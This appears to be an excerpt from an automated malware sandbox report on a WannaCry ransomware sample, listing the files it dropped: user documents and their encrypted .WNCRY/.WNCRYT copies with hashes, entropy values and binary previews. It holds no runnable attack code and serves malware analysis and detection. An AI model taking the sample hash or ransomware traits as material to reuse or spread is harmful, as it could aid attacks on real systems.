                                    SSDEEP:24:bkBT7fsd5KT6lkT2pFdRqP/0+Dl6TusrktVZL0SpWjZ+NmbFOVckKW1SjqEoQz7P:bkFOAVT2pFdM37Dl6ifd0MeHFCHSjoET
                                    MD5:D9474C388C05EE03E212DD4BFE4E5E4C
                                    SHA1:89BFA5D7A2679032C12A53DD41E2B6D1D9C0338B
                                    SHA-256:6E595672C03A74BA88E2E0D300EC30B9B494D40E130511B28E67B0EA31C0570C
                                    SHA-512:FC8A9B383716D8A6CEF9A18143FF9A6F79D6898A2618A08CB96FF35CDECA0D51188D5365CA7FD0FF05ABC1006E0800EABFB9D120D1930150FB435516CAAE6FCB
                                    Malicious:false
                                    Preview:WANACRY!....u.+..3.1I.4.......nJ..A..T....f..P.5...l.9..W._.].ib[.e.D.^.G|: ..U......#.eCm........c...c..o.......!.8...^.!.B..N=.hS1y..Q( .y.q.8..r..`.g.T..d1(....*&....q.,`.9...h.]CD....[lL....u.....F.4.WT#...j.....i.8..5......_..w....N-).W.=`..%/...~...............8.~.DVz..VG.....{...s].R..a........r......e.R...Pu.....mJS...a.u.6B.f-|].[H0...<4.J.....^..D..y...E.....R.X...F.....'.Jz....=..p..wV..?u..-)#o..c.....d..B....FM.....;.@....+.2.b..jC09..4...anB+.X.,\C.S....|S..T......O.....J..e....g..T)...)R.?.8.Z?.-.....|...[.mKI...:......PS.x<.|....y.OH../..(..i....)vS.g..D.%.....7..9m..M...)l.......y.._u.....N$.NzP,.&.u$$.b.k....%.E...|U".`...mA.g..st?.c?SL../..JWW..h..E.3..A.'.....=vh[KNE....p.D{|........">.].w...l..d...._j..g...6p.F=yf.b..G...'...8....}...........09....4.Q..'."J.P.T|gC.+......)O..F-".z.x.k...>".E.P_5f5i.....In.....I...E..h..&d.....9...0P..X...]..Pd.....Sg".)u"SMv....M..7.{X.z.[Q#.B..ll5....m.UyM'Y.^...P.jO{g1.v2..g..hm^..

                                    C:\Users\user\Documents\BWDRWEEARI.png

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.789862330970248
                                    Encrypted:false
                                    SSDEEP:24:nwG2PbSkr7PcMVdZKHCjSfWSQafbfAbYhDO7mywMCgAjn:wGoWM7PpfS+SxQ8DomywM+jn
                                    MD5:8E3C250FE161C468D01C55AD82C46A28
                                    SHA1:56CFCE1CBD2EE9CC41DD783CF63B4A027C253451
                                    SHA-256:3A474F0C6B36E2F46DA4F505C0F405F2D967E1D65D06711B204732C526C3A99A
                                    SHA-512:1540D5A1EAC0AA737AC200132782BA3D1DD266A6E07777645E06E545908A147D36A247E8FEED9108B1E8A20A00688C25DAF7DBDD19A3CB505A9386CD09B66062
                                    Malicious:false
                                    Preview:%.P.>.TA.\.F._.Q...o..n./KO.h....8/......VS..T..G...!..CJ.T..C..)(F|...*..pB..i.=.WS..E..M6.....;T....kkW...j"n."...U...,U...p.R$...R.%....m.o.}..f...bd!....L..1].).....A.drsh..Q9E8g..../qx.8.E...<.....d....F2.j(.PH..^5....}|.....yD.+...0....^=./..p..-.F..4"..eb.!..w.;....|..Y..i..^...........m.r__].IZ..Jf*.....3...7.......Q...*..Tj..+E.y......;..........3.(>.|..s..>N`g^s|.S.pd."...}_F.Q.*.-...X.w.U.....^....r..u..y-..^:..<..8..2.X....:2..Mj2......p."ybf.~+...\`8*p7......4/......^.&iz....W.:.2.].!.............NN..........D.*<..}..u.L..C..}.U...P9...<b..I.#f.. aO.[Z..h.*A1..|..N.p5A....Zo-KVV.7.F<s.p....%-.....a2.......Y....{..1..Yn6.s4......$..!.F.X:..(.U6..((.....P@~.~.`.S?."..Q-.g...K\Q......%...X....7/.....V.0c...~.Z..1.T.M\.......w.x...\.5.N...f.4... ..F.p.o.>..9.J0.b.~%...fpa....2;|..k.hB$.(.[.9.dYEQ\..:..!JU..B.\..@.#o.4B.....E...-&...'..W(..t...yFf.p..._..(b...h.`>AA.\7.S!.6.N..NC.G.5.....G-.@J.O..3Q..;....p....L..~9..) .^..

                                    C:\Users\user\Documents\BWDRWEEARI.png.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.830385169984139
                                    Encrypted:false
                                    SSDEEP:24:bk/CoNskffGy4pXCvwwH73dpBjNyP451OmHx064U9f+STHt65NffvQZC4akjadZE:bk/COskfuy4SDB5yQ5IAx3qSaQZHPjaI
                                    MD5:1EE6C378DB43FA37267B64001F225A31
                                    SHA1:A3594112932795DA9BFE35F1BD6486B01F73A17A
                                    SHA-256:D380175765A413A6C31AD89A51690C795B70E499492CA1C9AEF1E94813B02E43
                                    SHA-512:69BBE8887673358FAFE3FB6904932587DBDAA7D62764E1047773F6562300138781F831B02BD0AA5C9CBD4B520B5E16D5868981CD3424371C9ED5746F74758D7B
                                    Malicious:false
                                    Preview:WANACRY!....f5.Iu.W....ca....x>...WC.~..I.'^4I_..EU...Rov.k&.!....h....:.P..$NQ8..6..klZ....2.TE..............C.YM..dzGS..@...^q..._....d..r.tZ....R.U........`..q.].l..d.r6`.s..l..[...3n.&.Y....t.rY..*.g.9s!..8..RF.!.Ax.nO.(..%-.T8......... .................9...u.=uP.Ui@...y..5..........o..%.F/..h...?s.w.....`...k...*.!0t.!.v.*Mtr.....a..58{.5.C.....y.t....[..l+.'.Sk.R|-...Uq...V^N.l,....2.>....t..f._..!F.K..Z..RrA.vI....x.Pz...?0...;..W*H.$..x.x....Z. t.....J.Z.by.om.E...z..e.CZ8"&a8.....^O.u.m.@..../2%...c......`W.....\.(%`.R..8........f...Fx......2s.0.u.....He.^...p...A..~".LT:.a].Q./.!....H..s.d".*. .pdH...m...A=..9\...n..T.~v. ...-....+.)....+|.O.`.._]0n.V..r.....t..Z...s.....=$@..4..............Q..x...!'I.I.&..g.....a..t.%^..x.{.Y.n@...0@..`.m!\...Q....:..a..^0...Y.!.....a...g.&...ai.u......(_..?p...Fk?..l..<1O.t.#..l.\f.. ...TIo-...T...u...H..d.<.0..]..1xH.].....X...%.L.Yp.....M.6guz...7.}...D!.........g5kI...]?*..,..I!.v.

                                    C:\Users\user\Documents\BWDRWEEARI.png.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.830385169984139
                                    Encrypted:false
                                    SSDEEP:24:bk/CoNskffGy4pXCvwwH73dpBjNyP451OmHx064U9f+STHt65NffvQZC4akjadZE:bk/COskfuy4SDB5yQ5IAx3qSaQZHPjaI
                                    MD5:1EE6C378DB43FA37267B64001F225A31
                                    SHA1:A3594112932795DA9BFE35F1BD6486B01F73A17A
                                    SHA-256:D380175765A413A6C31AD89A51690C795B70E499492CA1C9AEF1E94813B02E43
                                    SHA-512:69BBE8887673358FAFE3FB6904932587DBDAA7D62764E1047773F6562300138781F831B02BD0AA5C9CBD4B520B5E16D5868981CD3424371C9ED5746F74758D7B
                                    Malicious:false
                                    Preview:WANACRY!....f5.Iu.W....ca....x>...WC.~..I.'^4I_..EU...Rov.k&.!....h....:.P..$NQ8..6..klZ....2.TE..............C.YM..dzGS..@...^q..._....d..r.tZ....R.U........`..q.].l..d.r6`.s..l..[...3n.&.Y....t.rY..*.g.9s!..8..RF.!.Ax.nO.(..%-.T8......... .................9...u.=uP.Ui@...y..5..........o..%.F/..h...?s.w.....`...k...*.!0t.!.v.*Mtr.....a..58{.5.C.....y.t....[..l+.'.Sk.R|-...Uq...V^N.l,....2.>....t..f._..!F.K..Z..RrA.vI....x.Pz...?0...;..W*H.$..x.x....Z. t.....J.Z.by.om.E...z..e.CZ8"&a8.....^O.u.m.@..../2%...c......`W.....\.(%`.R..8........f...Fx......2s.0.u.....He.^...p...A..~".LT:.a].Q./.!....H..s.d".*. .pdH...m...A=..9\...n..T.~v. ...-....+.)....+|.O.`.._]0n.V..r.....t..Z...s.....=$@..4..............Q..x...!'I.I.&..g.....a..t.%^..x.{.Y.n@...0@..`.m!\...Q....:..a..^0...Y.!.....a...g.&...ai.u......(_..?p...Fk?..l..<1O.t.#..l.\f.. ...TIo-...T...u...H..d.<.0..]..1xH.].....X...%.L.Yp.....M.6guz...7.}...D!.........g5kI...]?*..,..I!.v.

                                    C:\Users\user\Documents\BXAJUJAOEO.jpg

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.781352447285762
                                    Encrypted:false
                                    SSDEEP:24:odPDs/VQTScSUNhF47z0MBa/EOSFhekrIlB:odPsQTSga+ozryB
                                    MD5:3BBF2863681003F3795C493DAB5189CB
                                    SHA1:9F4CC4FAA6664E7ADCBDF9367C00309A6A0C0540
                                    SHA-256:1A603F0491AB592BA53A2415F1F6CB68157424E602088917A418A6F2E380E61E
                                    SHA-512:4D9CC925A2D01139B75F8C77643C5C2181310AFB8EC144EB2F28BD1AA46993843F269906B6CFFD41F67D347F5CA3E17E1187C2DB7DF7145F4816BC3629AEA998
                                    Malicious:false
                                    Preview:.. `7N&^..P......R.=...d...\....d&...s..E..u...q5..O..=..N..D.!r4.IF..vW.M.DFU...=M.i]......H..a=...&......T.?...9H......&.6....`qL-9s..0.........T..rp.roZ.O.R.O..eL.z........<wm.]/......N.w........Al'..|...].9(u................y.H.5.^.2S.}...5.i.j..d1......l....Sd.p...m0......B....PY.*I..0.n.V.../.M..Lt=K./...p.S.R..)....p@.5E./.....4=..w..>.......vD..g%uz.....4..W..@. ...... ..(d.....l.V[....@.~......uhp.d:..uQ..sc.My\d."...Y...m..@...5....9..c....C....#?C[VH....z.S......._.'.T..!?.d..d.....!.\..NhdG.....'q......l.Jm.kc.>....R......$VS..,.j....~.)j./..@......}.$.VD........=.D+....].....-]|>..v.Mb.TS...BO}.b..+9Q....JS.L.,.4.X;....g..X.v......P'..3.......Q..YZ.J.g.Dp.......s6.{n...........AI.....vB!G!.M..F.j.x..i..%"T.{.~..}PNz1.....tE.FU..4...Ua.R...B..CY..}...p.qT..<..x$......W ^.Mq.Ih....LoaL..[M.?g..U...2...:.......U.1..s...v...z.%......~m0......bF!...xh`2I$....q/..v..n.{...H...<cvh.D..x.5.....Z.&..b..itL#n...H....h.vI94g.....8...

                                    C:\Users\user\Documents\BXAJUJAOEO.jpg.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.8735294711944555
                                    Encrypted:false
                                    SSDEEP:24:bkYmW0xhlYpTOhAuIkGlBghlEpY7Tx1AXxKFKY01Fs1iaIPNG8fxOYn3eVA/3:bkhhK02lSX6W1C3TFewlG8ZbeVw3
                                    MD5:F789C2BFD840C166E2D5FEDF3408B4B7
                                    SHA1:1F61C86A2951E7F2FF8825B1DE0C8F4D1B95E869
                                    SHA-256:531341CFB6BE308575FE23D9E4FC9FE7F779AF939D75510FECA1DB79DF451B84
                                    SHA-512:39BAC11BC0C5D15D9C4AEDAE63ED5256204785FA70E6C6D26DAEDA8F82A5DC01389F55DA85D9B75486C929A237FDD4B2A358B9DCFC2936208DA40AEA92F37224
                                    Malicious:false
                                    Preview:WANACRY!......X...e..C.c..N..G%d.m...c.!|C.Cgj#"....#.......jor............Bt5t.:.`?..9..-.6..<..g...M%...m.vjz.M.d..EA.k/...}}....&.~...f...-..:...=G[g......~j...9...U=8..,:...x....A.J....8.....f.c..l.@.q.k ..fC=[....S5..tZ...^....$........ZC.;".q.%...@.............N.R..S".7....56..n...#...!>;.....!?....V<.$....f..?...L....&.....k.+....Lg..H..^...S.jO.e....a...2t.);-.h......9.....X.l.WM.p<..(.Q:._..=......&.%.....+..\D...L5H.....X..X.m....S.[H.........k.....~.$_'.[.%...0/.M.1.aT.p.eh.q.wd.$..{.j..)+......LO.P.....3...u\$?E..(.$.....W.....w..e1.p..|.....z..|'F.o..^+.1{........*.O....n.KZ...?.x.GI4^.LL.VCb...J.J.b.vD..=....O..h.(...c.`.....q..........&L.&c..x...J\T.....}.X].v.~..*...S.......X.l..i.~....Y..l$.W....^..........$.7.s.....B....V..-i.9.YC.).=...-.c.Q.-.Z...P.....adB.65...j.\....S+c.<..p....x|.......WFs...=<.s...I.a`3!.U.e7..;m.O.#.i..^/...P...u..U}0..-.....f1..5|.mC..o.%..+./Gb........%...f..".*.......I"x...M...3......

                                    C:\Users\user\Documents\BXAJUJAOEO.jpg.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.8735294711944555
                                    Encrypted:false
                                    SSDEEP:24:bkYmW0xhlYpTOhAuIkGlBghlEpY7Tx1AXxKFKY01Fs1iaIPNG8fxOYn3eVA/3:bkhhK02lSX6W1C3TFewlG8ZbeVw3
                                    MD5:F789C2BFD840C166E2D5FEDF3408B4B7
                                    SHA1:1F61C86A2951E7F2FF8825B1DE0C8F4D1B95E869
                                    SHA-256:531341CFB6BE308575FE23D9E4FC9FE7F779AF939D75510FECA1DB79DF451B84
                                    SHA-512:39BAC11BC0C5D15D9C4AEDAE63ED5256204785FA70E6C6D26DAEDA8F82A5DC01389F55DA85D9B75486C929A237FDD4B2A358B9DCFC2936208DA40AEA92F37224
                                    Malicious:false
                                    Preview:WANACRY!......X...e..C.c..N..G%d.m...c.!|C.Cgj#"....#.......jor............Bt5t.:.`?..9..-.6..<..g...M%...m.vjz.M.d..EA.k/...}}....&.~...f...-..:...=G[g......~j...9...U=8..,:...x....A.J....8.....f.c..l.@.q.k ..fC=[....S5..tZ...^....$........ZC.;".q.%...@.............N.R..S".7....56..n...#...!>;.....!?....V<.$....f..?...L....&.....k.+....Lg..H..^...S.jO.e....a...2t.);-.h......9.....X.l.WM.p<..(.Q:._..=......&.%.....+..\D...L5H.....X..X.m....S.[H.........k.....~.$_'.[.%...0/.M.1.aT.p.eh.q.wd.$..{.j..)+......LO.P.....3...u\$?E..(.$.....W.....w..e1.p..|.....z..|'F.o..^+.1{........*.O....n.KZ...?.x.GI4^.LL.VCb...J.J.b.vD..=....O..h.(...c.`.....q..........&L.&c..x...J\T.....}.X].v.~..*...S.......X.l..i.~....Y..l$.W....^..........$.7.s.....B....V..-i.9.YC.).=...-.c.Q.-.Z...P.....adB.65...j.\....S+c.<..p....x|.......WFs...=<.s...I.a`3!.U.e7..;m.O.#.i..^/...P...u..U}0..-.....f1..5|.mC..o.%..+./Gb........%...f..".*.......I"x...M...3......

                                    C:\Users\user\Documents\BXAJUJAOEO.mp3

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.82076475934743
                                    Encrypted:false
                                    SSDEEP:24:HVuiux0AgU2kuFQQFZ+xbs4Qa0urd5+lExCYh:HV9AgU2SQFAxbsHaPd5+lEIYh
                                    MD5:81BCF4E7E72745ACCFA93D75D2542307
                                    SHA1:2DC4D3707A33F59A4C8E35DFC847D439956E577B
                                    SHA-256:64384140E1A9FF2D0E205DF924978B8BD9F6C62FCD18AF261DA3D3DCCB687E3F
                                    SHA-512:E63C69004B752B7D4832F8C694E05A5B577DA835DCF4590787CCBB0C84745D3EFE392E6BC50D473AE7939E7A4EE1243C7C26308B9ED8EF545A72B96F50F0341E
                                    Malicious:false
                                    Preview:........O..kO...a.....kI4.k..Dx.%.jp.-..[.8..x...)B-%R....*....?..0..).....3.LCt.C..WT..l..6.Qzt..(..]...L....}`F...........hp.v...|q1.FD...v.A.~.aS.y[f.....*.._.l..GX6~..E.}.+i6....c.mL.]_...9.AE.G!...(........h....>.8.c.\..j.{i..GR\..HDT..$..o..."x%..Y.2............x..........i.|....&".>\.. .....t.r.,!|g2(D6.-.a. ...s#.L.:.;.s^9[.4..Y..#...z.~#..c.>."W...M.p..."..|.;...} .B.<).N........A.lM..a1.....o...S..i.%r.o.[ .70'.).#p.....=....>A...K>...]..6..W.F...Y.....2}2f..P.xo...r.....)..,.K.y...t.Z...i.*..*.....M/...).f.fiU6g...cT.^....eo..p...`...A.[.......1..g...J.k/...5.Y......LR.7.A0...s.:.43..z.......%...L.%...y.U.k-...K..P..'...?..;/..Ek......[../%...57.B.vof. .q.SXekIh\F..X..#"wm...A<....'V..Hi.g...J...c.tjj.iy.j'..a.U.P@a..>...p..H...e......f=.q<s_c..hX.1......,.W.k..H.f..ZM.xm..#.<2....JXI..M[.5F9.q.O%!a...YO.4."...*...'f..y..(..%....ty.~..W.D..T....y..7........P..>..f#&.+K..V...'N..-......d.I...1^.<...>i........UMd[\...2=._.

                                    C:\Users\user\Documents\BXAJUJAOEO.mp3.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.8618898266217965
                                    Encrypted:false
                                    SSDEEP:24:bkTtYcQgPGL15+1HeuQHsxGp3KCLzwtcrY+JHpM1gTzmk7IME0j6A:bkRtGL15+9Qpa0HE+JJMeT0ME02A
                                    MD5:4DBA9B33346E0DCF85497AF6AFC51E5E
                                    SHA1:B7EDE3C6FD956BB466528E9A676C127B38FF8249
                                    SHA-256:6DD192C728D61AC4C3F06744AE3950426636B141218578C5AFE9581A1ABBAF63
                                    SHA-512:BC7094E8A72A3DB8E9AD334A6ED69A60B1DE7AB903B13AA573A3AE18B2754AD3FA70F6625502525FD6CF9C64F443AF24531B4C87A14B2E1B6640818DED6CF190
                                    Malicious:false
                                    Preview:WANACRY!.....@A+;v.p,....a....sE..%.V........>D....5.....K....;.N<k.'\.1...HY..I.........../'.q....Q2..l.v...l.....e..*.})..<"..W.f..L...R|Rh.....e}G+.l.Z..N5~..Xw.."@.S4f}y;S[x.#.Y...w....oXu..K.....>.Jj?t...(....M..I..L../B.*...G.Y).5pe.F........`).C|f.............>u.W.....>/u..}..n..-.......S.;.......xjg.:)..g19t...;..n.cz.q..wv.v..dm.J.i.......'...K.\...0.>..59.M........]$....QM.3.C..ib.f.Q.......c&.8....{.\..R...|gZ.T.Z*....,..6Pt...+..*.C.&.......V!%..{..w.....G..dl..t'.....l.8X...ww..}S0..7.;........."..\=..kli).`e0<.ew...K3...A..{.o@P*X.yW..R..Le.....{*~....A...^...}...j.4N..._.)3.T..N..6...Mq[e.D5.uj!5[.N...<....7OX..f.........}....S.:a,\9.S..O.v.k..Q~.W.P~..d.......?....X.......k.)._t&..?..q.J.......uz.U.y.......D.....@.e.o..].e+..x.r...\+..6..N.../..v.f.]....e..FO..3.....m.=..a{h..4.N...E....'..~9...kW.....`.u.en....t...q...4..nOVx.a.[.pQ.:. L.`h..^.,....J.........8&t*T.w.`.(......9.G..<..r..Ax..a*L...m..Q<......v.H.t.(.]....3.(M]p.*.g,5.

                                    C:\Users\user\Documents\BXAJUJAOEO.mp3.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.8618898266217965
                                    Encrypted:false
                                    SSDEEP:24:bkTtYcQgPGL15+1HeuQHsxGp3KCLzwtcrY+JHpM1gTzmk7IME0j6A:bkRtGL15+9Qpa0HE+JJMeT0ME02A
                                    MD5:4DBA9B33346E0DCF85497AF6AFC51E5E
                                    SHA1:B7EDE3C6FD956BB466528E9A676C127B38FF8249
                                    SHA-256:6DD192C728D61AC4C3F06744AE3950426636B141218578C5AFE9581A1ABBAF63
                                    SHA-512:BC7094E8A72A3DB8E9AD334A6ED69A60B1DE7AB903B13AA573A3AE18B2754AD3FA70F6625502525FD6CF9C64F443AF24531B4C87A14B2E1B6640818DED6CF190
                                    Malicious:false
                                    Preview:WANACRY!.....@A+;v.p,....a....sE..%.V........>D....5.....K....;.N<k.'\.1...HY..I.........../'.q....Q2..l.v...l.....e..*.})..<"..W.f..L...R|Rh.....e}G+.l.Z..N5~..Xw.."@.S4f}y;S[x.#.Y...w....oXu..K.....>.Jj?t...(....M..I..L../B.*...G.Y).5pe.F........`).C|f.............>u.W.....>/u..}..n..-.......S.;.......xjg.:)..g19t...;..n.cz.q..wv.v..dm.J.i.......'...K.\...0.>..59.M........]$....QM.3.C..ib.f.Q.......c&.8....{.\..R...|gZ.T.Z*....,..6Pt...+..*.C.&.......V!%..{..w.....G..dl..t'.....l.8X...ww..}S0..7.;........."..\=..kli).`e0<.ew...K3...A..{.o@P*X.yW..R..Le.....{*~....A...^...}...j.4N..._.)3.T..N..6...Mq[e.D5.uj!5[.N...<....7OX..f.........}....S.:a,\9.S..O.v.k..Q~.W.P~..d.......?....X.......k.)._t&..?..q.J.......uz.U.y.......D.....@.e.o..].e+..x.r...\+..6..N.../..v.f.]....e..FO..3.....m.=..a{h..4.N...E....'..~9...kW.....`.u.en....t...q...4..nOVx.a.[.pQ.:. L.`h..^.,....J.........8&t*T.w.`.(......9.G..<..r..Ax..a*L...m..Q<......v.H.t.(.]....3.(M]p.*.g,5.

                                    C:\Users\user\Documents\BXAJUJAOEO.pdf

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:OpenPGP Public Key
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.822592047025136
                                    Encrypted:false
                                    SSDEEP:24:guu8xxYooszRekia4Gbsf/U6GlZqHgnlWW2ruY+Zz7G3WRuAa:ru4xYoospialCAlygJUubz71uAa
                                    MD5:2E2CABB52C0F8A630CB46EA7ACE4997E
                                    SHA1:BA5BA9ECD756FF581513B5BF0CE64FFC36CEF48A
                                    SHA-256:45D4DCF8FB8E7ABC86EE9DFA2A7BD03FC6A37321EF5E837D15B0E335AB79EB4E
                                    SHA-512:8ABDBD67049CED7EB7E1E774B3A67B7650E1D75646855728AE3F2EF3C1665C6DBF45708C7FDEAC3E7B428781E75CC0083C6535E253D8CDC559A2B89F399437A2
                                    Malicious:false
                                    Preview:.....y.L...~......cf*...+f.%....^...8....)fp..K3-.Wh.`.y.2.`.......>..H=./c...v........k...R..b.u.Y.Z ...n.G..a;...`..Q.....6...XtH*....{......-.9...:..WM.........H..`..;...Wr..f.K*%...L.[..`.3lG....=....T...!.'-sF...A.`z.O..g-3.9..N{.....F.z.a{..O.....}CiV...u..L..-:.sZ..0#...Q.@2.c?...+..|P..:J1..~.0 .*..4....?..]Z.dn..B#%...!+...2>.y.0.....0.`.Wg.V........Be.*...=.>.N..lH..*....'..9!.#c..O.t..Q..:...l.V .o...U....K.f....S..+.R;.B:..Q.8...D..G.rn.--..I.u.,..(Og..`.v.M.Es...9Y(!`..kq9......'M0.....5...Z.rfN^.k1.Ei....,.EZ.fJ.Z...F...d;.......%..F..t.j.....<wb..x.7;"...&!q.W..r..a`...O=.x.@...y.P..{.*.R2p..5f.G... .....z..3............n...p..6.Z.t......}"...~.....f.D5-../}...8&.......V..%D.4R:&..67%v.3m3c...t...W.v..nM..L.y...8.Y.S$k...Y..X.R...@....?q.0.h .:$..#.c.D../.cn<v..#z.y.6....m,..R>8.`%.6.T....H..^#2...q.k.[.......GC.:.:.\...C.&..c'zh.......3..#TKo..,..5.Z{.k]g@P3{..D.{.gZ..M....D.?......T....V..."}...5.DC...s...LD.S....(...........

                                    C:\Users\user\Documents\BXAJUJAOEO.pdf.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.817692142434704
                                    Encrypted:false
                                    SSDEEP:24:bkS8RQlA6dt/2yL50fuFaznENHyUzSIUA29Rb4mB4nKbVw:bkSsQlA6f/V9ZXSUmIUA29Csbw
                                    MD5:5DF8BFD080EFD05D2401B77EF221B209
                                    SHA1:16BF975C538493DEBBB6C7A1F05F37ED824F8A78
                                    SHA-256:58A7C8DB06DCA1FB2DB31563A5379395F2A7B6279FDDFF387AAD78FB214E5D59
                                    SHA-512:8363D8AFB0A9A5D75EB3784662F60A20A7900E64C11A1B728E27D15C9256121A9C5621C9EB3E2C4BC175A2C871CF67ACF26C598C54262B66DE3FA777B8595FD0
                                    Malicious:false
                                    Preview:WANACRY!.....j..h...}.O..]&....n.ZP..,.({u.h....T..O,.......4.}..G. ^..W.L.UC:.AhR.m.b..=.sh...Z..u...:u^c8.N....l...*LYj.Ds......e)..w..|..?{....d...M....+xQ.\.d=H....D..b..Z..^.V.$.}./......3..Y..+l+..%,...Yu .p.kC%..@E.T..|BF:.W.h~.%v.J"y..m:..+0.-................5..A;.a.e....&6......j.0c.c.q=.::.7..d2t..1Rw7Z...wV./....r..d.G........'.1._.C.P.(..P.7.juw7.m|.z...23..7..}..;)...z..d..N...h.....|=.h....P.....!..qk.@...Ij.~...\.(....N...~2i.btz.Jfu..q...(y....*..`:EX(...W...=u@M...$..Y...#.iPf..6.`.m.i.4@.i.....s6....p..F."...d.P.6...[.lx9...YG.#....N.z.Q.....8.....4.....y....i7._..o..@.........g.&,<_....ZV......iq!....Bc.As.v.;m}=.Sr..0X.......a1.....{t..z.]]..Mf{..Ak.r..q.......5...u.t.....7.".....X.B.D.54/..#m7y..Ll;.0..+.:.....s..<).=..d.H.T.S..Du}{......}.N..q...G2...;........KD...*.|M/e*..b@.sA.CD.......".Cz../...T..*2.0Z.*xK...:U...$. ......f!...7.X+.e-........A..F-.....A...c.r.t....S.....#......4....V.#..Gk.JH.....&.......N.h{G

                                    C:\Users\user\Documents\BXAJUJAOEO.pdf.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.817692142434704
                                    Encrypted:false
                                    SSDEEP:24:bkS8RQlA6dt/2yL50fuFaznENHyUzSIUA29Rb4mB4nKbVw:bkSsQlA6f/V9ZXSUmIUA29Csbw
                                    MD5:5DF8BFD080EFD05D2401B77EF221B209
                                    SHA1:16BF975C538493DEBBB6C7A1F05F37ED824F8A78
                                    SHA-256:58A7C8DB06DCA1FB2DB31563A5379395F2A7B6279FDDFF387AAD78FB214E5D59
                                    SHA-512:8363D8AFB0A9A5D75EB3784662F60A20A7900E64C11A1B728E27D15C9256121A9C5621C9EB3E2C4BC175A2C871CF67ACF26C598C54262B66DE3FA777B8595FD0
                                    Malicious:false
                                    Preview:WANACRY!.....j..h...}.O..]&....n.ZP..,.({u.h....T..O,.......4.}..G. ^..W.L.UC:.AhR.m.b..=.sh...Z..u...:u^c8.N....l...*LYj.Ds......e)..w..|..?{....d...M....+xQ.\.d=H....D..b..Z..^.V.$.}./......3..Y..+l+..%,...Yu .p.kC%..@E.T..|BF:.W.h~.%v.J"y..m:..+0.-................5..A;.a.e....&6......j.0c.c.q=.::.7..d2t..1Rw7Z...wV./....r..d.G........'.1._.C.P.(..P.7.juw7.m|.z...23..7..}..;)...z..d..N...h.....|=.h....P.....!..qk.@...Ij.~...\.(....N...~2i.btz.Jfu..q...(y....*..`:EX(...W...=u@M...$..Y...#.iPf..6.`.m.i.4@.i.....s6....p..F."...d.P.6...[.lx9...YG.#....N.z.Q.....8.....4.....y....i7._..o..@.........g.&,<_....ZV......iq!....Bc.As.v.;m}=.Sr..0X.......a1.....{t..z.]]..Mf{..Ak.r..q.......5...u.t.....7.".....X.B.D.54/..#m7y..Ll;.0..+.:.....s..<).=..d.H.T.S..Du}{......}.N..q...G2...;........KD...*.|M/e*..b@.sA.CD.......".Cz../...T..*2.0Z.*xK...:U...$. ......f!...7.X+.e-........A..F-.....A...c.r.t....S.....#......4....V.#..Gk.JH.....&.......N.h{G

                                    C:\Users\user\Documents\GLTYDMDUST.docx

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.819820002586325
                                    Encrypted:false
                                    SSDEEP:24:gTFoYp2t3OXNvYDVCDBKMi2ltAEpC7L3Spq4brC3gNb:gTFOmNvqCFKD2QV7LiE4vC3I
                                    MD5:5995B0E5B23F064845850E0A43DC66FB
                                    SHA1:D6D17DD2CD66A2F3FB0A63BDB6E9A5B89F97D358
                                    SHA-256:DF7AF948DFF990E8CFCF7C3547176F11A9838C020DFCE1185510090E42A7D57B
                                    SHA-512:75D3086D2B45ECCCE14A5ACB3AE626B377B89FC7F4D5578A786238936B72779C2536E858BD16AC8394BE7072A56B5018F7A54A89748DACBA83C6F4B3024B7FEB
                                    Malicious:false
